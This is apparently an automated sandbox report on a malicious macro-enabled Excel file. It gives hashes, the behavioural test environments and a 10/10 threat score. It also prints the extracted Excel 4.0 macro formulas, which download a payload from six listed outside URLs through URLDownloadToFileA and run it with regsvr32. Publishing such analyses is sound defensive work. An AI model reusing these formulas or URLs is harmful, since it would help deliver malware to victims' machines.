General
-
Target
b82166bb60c8eea17dff6eea6465fe05845059e163fbfa6433ffb09fc7c0516b
-
Size
46KB
-
Sample
241111-vbs41a1hqr
-
MD5
9adcbd8655b64a31e0f147a6c4f0e451
-
SHA1
596e01ee6e46a7a79c08fdc7d8a4d43f46a14931
-
SHA256
b82166bb60c8eea17dff6eea6465fe05845059e163fbfa6433ffb09fc7c0516b
-
SHA512
458a07ae30c835017e86c9932f5b9e3134327b0ad8a8f396ec63bb58f1d4b86b9bbe5743e77900adb6a5746ad05bb1bd39e8599224b62b13605ec1b69edb01c8
-
SSDEEP
768:r4xovDOevZCwrvtizdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VU2nrW:r6ovDStT5fTR4Lh1NisFYBc3cr+UqVUf
Behavioral task
behavioral1
Sample
b82166bb60c8eea17dff6eea6465fe05845059e163fbfa6433ffb09fc7c0516b.xlsm
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
b82166bb60c8eea17dff6eea6465fe05845059e163fbfa6433ffb09fc7c0516b.xlsm
Resource
win10v2004-20241007-en
Malware Config
Extracted
http://consejosdeorlando.com/wp-includes/certificates/v1p9N/
http://mentalpeaks.pro/kymogram/eU1VLEZ99gyh/
http://www.pancoc.com/wp-admin/O3yPsMRR4CtJ9H/
https://lifebotl.com/wp-content/233ZS9dDv/
http://tonziradio.com/wp-includes/9rFNsN1RzIOfa4b9hy/
http://www.cheapmedstore.com/oculiferous/Ogr4KTiQG3riFda/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://consejosdeorlando.com/wp-includes/certificates/v1p9N/","..\enu.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://mentalpeaks.pro/kymogram/eU1VLEZ99gyh/","..\enu.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.pancoc.com/wp-admin/O3yPsMRR4CtJ9H/","..\enu.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://lifebotl.com/wp-content/233ZS9dDv/","..\enu.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://tonziradio.com/wp-includes/9rFNsN1RzIOfa4b9hy/","..\enu.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.cheapmedstore.com/oculiferous/Ogr4KTiQG3riFda/","..\enu.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\enu.ocx") =RETURN()
Extracted
http://consejosdeorlando.com/wp-includes/certificates/v1p9N/
http://mentalpeaks.pro/kymogram/eU1VLEZ99gyh/
http://www.pancoc.com/wp-admin/O3yPsMRR4CtJ9H/
Targets
-
-
Target
b82166bb60c8eea17dff6eea6465fe05845059e163fbfa6433ffb09fc7c0516b
-
Size
46KB
-
MD5
9adcbd8655b64a31e0f147a6c4f0e451
-
SHA1
596e01ee6e46a7a79c08fdc7d8a4d43f46a14931
-
SHA256
b82166bb60c8eea17dff6eea6465fe05845059e163fbfa6433ffb09fc7c0516b
-
SHA512
458a07ae30c835017e86c9932f5b9e3134327b0ad8a8f396ec63bb58f1d4b86b9bbe5743e77900adb6a5746ad05bb1bd39e8599224b62b13605ec1b69edb01c8
-
SSDEEP
768:r4xovDOevZCwrvtizdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VU2nrW:r6ovDStT5fTR4Lh1NisFYBc3cr+UqVUf
Score10/10-
Process spawned unexpected child process
This typically indicates the parent process was compromised via an exploit or macro.
-